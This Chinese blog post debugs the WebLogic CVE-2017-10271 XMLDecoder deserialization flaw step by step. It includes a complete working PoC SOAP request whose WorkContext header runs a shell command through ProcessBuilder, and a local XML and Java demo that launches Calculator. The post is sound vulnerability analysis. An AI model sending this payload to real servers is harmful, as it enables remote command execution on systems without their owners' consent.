weblogic cve-2017-10271 反序列化詳細調試

使用cve-2017-10271的poc打,看回顯包

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 192.168.99.37:7001
Content-Type: text/xml
Content-Length: 987

<?xml version="1.0"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>id</string>
                        </void>
                    </array>
                    <void method="start" />
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
</soapenv:Envelope>

返回包
在這裏插入圖片描述

從返回信息中可查看出棧的調用鏈爲
從最後的readObject()往回追蹤得到調用鏈
readObject() —> readUTF() —> readEntry() —> receiveRequest() —> receiveRequest() —> receive() —-> readHeaderOld() —> processRequest() —> __doRun() —> _doRun() —>_doRun() —> doRun() —> runSync() —-> process() —> handle() —> handle()[weblogic.wsee.jaxws.WlsServletAdapter]
的handle方法
下斷點,根據之前搭建的環境及調用鏈情況,在weblogic.jar!.weblogic.wsee.jaxws.WlsServletAdapter的handle方法,即129行下斷點
在這裏插入圖片描述
重放poc包,斷到129行,慢慢跟入
在這裏插入圖片描述
因爲也是第一次接觸idea,這裏簡單講下idea的結構,左下邊顯示當前的調用棧,可以看到在這之前都調用了哪些函數。右下邊顯示當前的變量信息,上面是調試方法,依次是步過,步入(用戶定義函數) ,強制步入(用戶及系統定義函數),跳出,強制跳出當前函數體
這裏我們是post方法,直接步過,到super.handler()函數,強制步入
進入到
com.sun.xml.ws.transport.http.servlet.ServletAdapter的handle函數
在這裏插入圖片描述
進入該
com.sun.xml.ws.transport.http.httpAdapter handle()

在這裏插入圖片描述
定義httptoolkit,並調用handle方法,步入
這裏httptoolkit看起來像是對請求包的封裝,並傳入handle
在這裏插入圖片描述
decodePacket()解包獲取Content-Type值【ct】 —>getvalue() —> decode()解析xml包
在這裏插入圖片描述
進入到
Decode() 這裏對content-type進行了檢查,當爲text/xml纔會進入
xmlsoapCodec.decode()進行post的包內容進行xml解析
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

Iscontenttypesupported()判斷是否爲text/xml,若是纔會返回true
到這裏httpAdapter.this.decodePacket()的主要功能就是判斷content-type是否爲text/xml,並對包進行xml解析取值,之後,進入this.head.process(),可以看到上面poc打出的調用棧,說明跟到這一步是正確的

在這裏插入圖片描述
跟進

Process() —> runSync(this.tube,request) request即我們之前解析到的請求包—-> doRun() —> _doRun() —> __doRun()

在這裏插入圖片描述
在這裏插入圖片描述
this.next.processRequest() 到這裏一直持續循環next,並調用this.next的processRequest()方法
在這裏插入圖片描述
在這裏插入圖片描述
查看this.next值,根據前面棧調用的processRequest(),該方法應該在WorkContextServerTube類裏面,這個類纔是觸發漏洞的類,繼續調試,關注this.next的值的變化
在這裏插入圖片描述
幾次循環下來,終於到了WorkContextServerTube類
在這裏插入圖片描述
在這裏插入圖片描述
跟進該函數,可以看到,var2爲請求包內容,var3獲取WORK_AREA_HEADER結構體頭,即work:WorkContext,若不爲空,繼續跟進,進入readHeadOld(var3)
在這裏插入圖片描述
readHeaderOld() 通過ByeteArrayOutputStream讀取內存緩存區的字節數組,即將中數據讀取出來並保存在WorkContextXmlInputAdapter類中var6,而WorkContextXmlInputAdapter屬於xmlDecoder類,我們知道這個漏洞最後觸發的點就是xmldecode.readObject(),繼續,接下來進入receive(var6)
在這裏插入圖片描述
在這裏插入圖片描述
Receive() —> receiveRequest() —> reveiveRequest() —> readEntry() —> readUTF() —> xmldecoder.readObject() 最終終於觸發readObject(),在這之前均未對內容做任何過濾,從而導致命令執行
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
至於爲什麼xmldecoder.readobject()爲什麼會執行命令,大家可以自己跟入進去查看詳細的解析情況,這裏大家可以簡單理解成xmldecoder.readobject() == system()可以執行系統命令,只不過裏面的參數內容有特定格式,這裏以小demo進行測試

1.xml 其中內容也是我們上面的poc內容

<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0">
            <string>/bin/bash</string>
        </void>
        <void index="1">
            <string>-c</string>
        </void>
        <void index="2">
            <string>open /Applications/Calculator.app</string>
        </void>
    </array>
    <void method="start" />
</void>
</java>

test3.java

import java.beans.XMLDecoder;
import java.io.*;
public class test3{
    public static void main(String[] args) throws FileNotFoundException{
        String filename = "/Users/sojrs/Desktop/java/src/test/1.xml";
        XMLDecoder XD =new XMLDecoder(new FileInputStream(filename));
        Object o = XD.readObject();
        System.out.println(o);
    }
}

讀取1.xml內容,並調用xmldecoder.readobject()解析,可彈出計算器

參考鏈接

cve-2017-10271調試

xmldecoder.readObject()詳細分析

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章